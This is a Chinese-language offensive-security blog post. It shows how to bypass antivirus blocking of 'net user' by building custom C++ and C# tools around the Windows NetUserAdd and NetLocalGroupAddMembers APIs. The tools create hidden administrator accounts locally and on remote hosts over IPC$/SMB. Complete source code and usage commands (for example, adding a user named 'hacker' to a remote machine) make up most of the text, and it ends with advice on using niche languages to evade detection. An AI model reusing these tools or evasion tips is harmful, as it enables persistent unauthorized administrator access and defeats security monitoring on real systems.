起因
之前做权限维持的时候在虚拟机上添加了很多用户,后来想起后准备删除,但是这时安装了某AV。
使用命令删除
net user /admin delete
以前遇到杀软添加用户会被拦截,没想到删除命令同样遭到拦截,这不经引起了我的思考,这个操作能绕过吗?
尝试
NET命令是功能强大的以命令行方式执行的工具。它包含了管理网络环境、服务、用户、登陆等Windows 98/NT/2000 中大部分重要的管理功能。使用它可以轻松的管理本地或者远程计算机的网络环境,以及各种服务程序的运行和配置。或者进行用户管理和登陆管理等。
当使用net命令时,实际上net是调用了这个PE文件。
C:\Windows\System32\net1.exe
安全产品同样也重点监控着这个文件的调用,甚至有经验的管理员也许会直接删除net1.exe
这个文件,这样我们希望添加用户的美好愿望就会泡汤。
经前人研究,利用netapi32.dll
中的API,可以绕过这一限制。
由于笔者众多语言中,c++水平是稍微好一点的,首先使用c++尝试。需要用的API有两个:NetUserAdd
和NetLocalGroupAddMembers
。
NetUserAdd
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
LPCWSTR servername,
DWORD level,
LPBYTE buf,
LPDWORD parm_err
);
NetUserAdd函数添加一个用户帐户,并指定密码策略和权限级别。
微软文档:https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
NetLocalGroupAddMembers
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
LPCWSTR servername,
LPCWSTR groupname,
DWORD level,
LPBYTE buf,
DWORD totalentries
);
NetLocalGroupAddMembers能够把用户加到组里,比如Administrators组
微软文档:https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
这里参数有疑问的,可直接参考msdn文档。
下面的代码通过NetUserAdd
添加一个系统用户。
#include <iostream>
#include <windows.h>
#include <lm.h>
#pragma hdrstop
#pragma comment(lib,"netapi32.lib")
int wmain(int argc,wchar_t* argv[])
{
USER_INFO_1 ui;
DWORD dwlevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
if (argc != 3)
{
fwprintf(stderr, L"[!] Usage: %s UserName PassWord\n", argv[0]);
}
ui.usri1_name = argv[1];
ui.usri1_password = argv[2];
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL, dwlevel, (LPBYTE)&ui, &dwError);
if (nStatus == NERR_Success)
{
fwprintf(stderr,L"[+] User %s has been successfully added\n",argv[1]);
}
else
{
fprintf(stderr, "[!] A system error had ocurred %d\n", nStatus);
}
return 0;
}
往往希望添加到administrators组,方便后续操作,权限也相对来说也较高。
下面的代码通过NetLocalGroupAddMembers
添加某一个用户到administrators组。
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = argv[1];
NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS)
{
printf("[+] Administrators added Successfully!");
}
else
{
printf("[!] Administrators added Failed!");
}
将两端代码整合到一起后编译。将生成的pe文件上传到虚拟机中。
先静态扫描一波,并没有被杀。
NetUserAdd.exe test 123456
net user
net localgroup administrators
说实话,这里没有被杀是我没有想到的。我猜想可能由于是虚拟机,杀毒力度并不大,真实情景下应该是不行的。
尝试删除改账户时,同样是不行的
拓展
初步探究并没有让我停下脚步,注意到NetUserAdd函数的第一个参数LPCWSTR servername
,提供了一个可以写远程服务的参数,是否可以向其他机器上添加用户?答案当然是可以的。
这里临时换下语言:众所周知,c++是最容易被杀的语言。如果换成其他语言也许能够更好地逃逸。由于最近又正好在学c#,下面就用c#来实现一个添加用户的功能。
这里我也就不过多废话了,就是用c#的语法去调用win32API。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using NDesk.Options;
namespace NetUserAdd
{
class NetUA
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_3
{
public string domainandname; // //lgrmi3_domainandname
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct USER_INFO_1
{
public string sName; //用户名
public string sPass; //密码
public int PasswordLevel; //密码级别
public int sPriv; //账户类型
public string sHomeDir; //用户主目录
public string sComment; //用户描述
public int sFlags; //用户权限
public string sScriptPath; //登录脚本路径
}
[DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
extern static int NetUserAdd(string Server, int Level, ref USER_INFO_1 buf, int parm_err);
[DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
extern static int NetLocalGroupAddMembers(string servername, string groupname,
int level, ref LOCALGROUP_MEMBERS_INFO_3 buf, int totalentries);
public static void GroupAddMembers(string serverName, string userName)
{
LOCALGROUP_MEMBERS_INFO_3 NewMember = new LOCALGROUP_MEMBERS_INFO_3();
NewMember.domainandname = userName;
if (NetLocalGroupAddMembers(serverName, "Administrators", 3, ref NewMember, 1) != 0) //添加失败后返回非0
{
Console.WriteLine("[!] Error Adding Group Member to Administrators");
}
else
{
Console.WriteLine("[+] Succeeded in adding the user to group Administrator");
}
}
public static bool UserAddRemotely(string ServerName, string UserName, string UserPassWord) {
USER_INFO_1 UserInfo = new USER_INFO_1();
UserInfo.sName = UserName;
UserInfo.sPass = UserPassWord;
UserInfo.PasswordLevel = 0;
UserInfo.sPriv = 1;
UserInfo.sHomeDir = null;
UserInfo.sComment = null;
UserInfo.sFlags = 0x0040;
//UserInfo.sFlags = 0x10040;
UserInfo.sScriptPath = null;
if(NetUserAdd(ServerName, 1, ref UserInfo, 0) != 0)
{
Console.WriteLine("[!] Failed to create a user Remotely");
return false;
}
else
{
Console.WriteLine("[+] The Remote user is successfully created!");
return true;
}
}
public static bool UserAddLocal(string UserName, string UserPassWord)
{
USER_INFO_1 UserInfo = new USER_INFO_1();
UserInfo.sName = UserName;
UserInfo.sPass = UserPassWord;
UserInfo.PasswordLevel = 0;
UserInfo.sPriv = 1;
UserInfo.sHomeDir = null;
UserInfo.sComment = null;
UserInfo.sFlags = 0x0040;
//UserInfo.sFlags = 0x10040;
UserInfo.sScriptPath = null;
if (NetUserAdd(null, 1, ref UserInfo, 0) != 0)
{
Console.WriteLine("[!] Failed to create a user locally , Please check your permissions Or the account name already exists。");
return false;
}
else
{
Console.WriteLine("[+] The local user is successfully created!");
return true;
}
}
static void Main(string[] args)
{
List<string> servers = new List<string>();
List<string> usernames = new List<string>();
List<string> passwords = new List<string>();
bool show_help = false;
var _AddUserRemotely = false;
var _AddUserLocal = false;
OptionSet options = new OptionSet()
{
{"h|help","Show Help\n", v => show_help = v != null},
{"AddUserRemotely","Add User Remotely\n",v=>_AddUserRemotely= v != null },
{"AddUserLocal","Add User Local\n",v=>_AddUserLocal= v != null },
{ "s|server=", "the {server} of the target",v => servers.Add (v) },
{ "u|username=", "the {username} of the target you want add",v => usernames.Add (v) },
{ "p|password=", "the {password} of the target you want add",v => passwords.Add (v) }
};
List<string> extra;
try
{
extra = options.Parse(args);
//检测无效参数
if (extra.Any())
{
foreach (var item in extra)
{
FontColor.Warning();
Console.WriteLine("unrecognized option: {0}", item);
FontColor.NormailFonts();
}
ShowHelp(options);
return;
}
}
catch (OptionException e)
{
System.Console.Write("NetUserAdd.exe: ");
System.Console.WriteLine(e.Message);
System.Console.WriteLine("Try `NetUserAdd.exe --help' for more information.");
return;
}
if (show_help)
{
ShowHelp(options);
}
if (_AddUserRemotely)
{
GetArgsValue.GetServerValue(servers);
GetArgsValue.GetUserNameValue(usernames);
GetArgsValue.GetPassWordValue(passwords);
UserAddRemotely(GetArgsValue.server, GetArgsValue.username, GetArgsValue.password);
GroupAddMembers(GetArgsValue.server, GetArgsValue.username);
}
if (_AddUserLocal)
{
GetArgsValue.GetUserNameValue(usernames);
GetArgsValue.GetPassWordValue(passwords);
UserAddLocal(GetArgsValue.username, GetArgsValue.password);
GroupAddMembers(null, GetArgsValue.username);
}
}
static void ShowHelp(OptionSet p)
{
System.Console.WriteLine("Usage: NetUserAdd.exe [OPTIONS]");
System.Console.WriteLine("eg:NetUserAdd.exe --s 10.10.10.1 --u username --p password --AddUserRemotely");
System.Console.WriteLine();
System.Console.WriteLine("Options:");
p.WriteOptionDescriptions(System.Console.Out);
}
}
}
如果c++写的工具能过av,那么目前来看c#写的就大概率都能过,这里就不放上去看下逃逸效果了。看一下选项帮助信息:
NetUserAdd.exe -h
远端ip为192.168.1.184
先执行一下。
NetUserAdd.exe -s 192.168.1.184 -u hacker -p iamhere -AddUserRemotely
这里我的错误信息写的比较简陋,也没有写GetlastError
,但稍想一下这里就不可能成功,又没有建立已知连接,也没有提供目标机器账户密码。那么这里API提供的servername到底有什么作用呢?或者如何才能远程执行添加用户的命令呢?
这里我想到了psexec,用过的同学都应该知道这款工具在你提供了目标机器账户和密码后,就可以返回一个shell,直接执行命令,该款工具走的是445端口,即SMB协议,那么这里是不是也有相同之处呢。为了验证想法,先使用wireshark抓包来看我们自己写的exe走的是什么协议去连接远端。
在执行exe瞬间,产生了大量SMB协议。
那么猜想基本就得到了验证。
这里也无需去使用psexec这一类的工具,直接建立一个ipc连接即可。
这里找了一个在administrators组中的用户:admin。
net use \\192.168.1.184\ipc$
然后再执行命令,但是还是失败了。
奇怪了几秒,突然想到原因:即便是在administrators组中的用户,在使用管理员权限执行应用时,还是会有uac弹窗。所以这里admin账户只是是虚假的管理员,只有administrator这个账户才是真正的管理员。
在建立与administrator账户的ipc连接后,终于执行成功。
总结
这个在实际环境中有没有用呢,相信还有是有一定作用的,不过也只能是锦上添花。但远程添加用户这个也许会有奇效,同时在规避检测方面也有一定效果,如果c#版的还不行,就去找go版的,nim版的,越是小众语言效果越明显。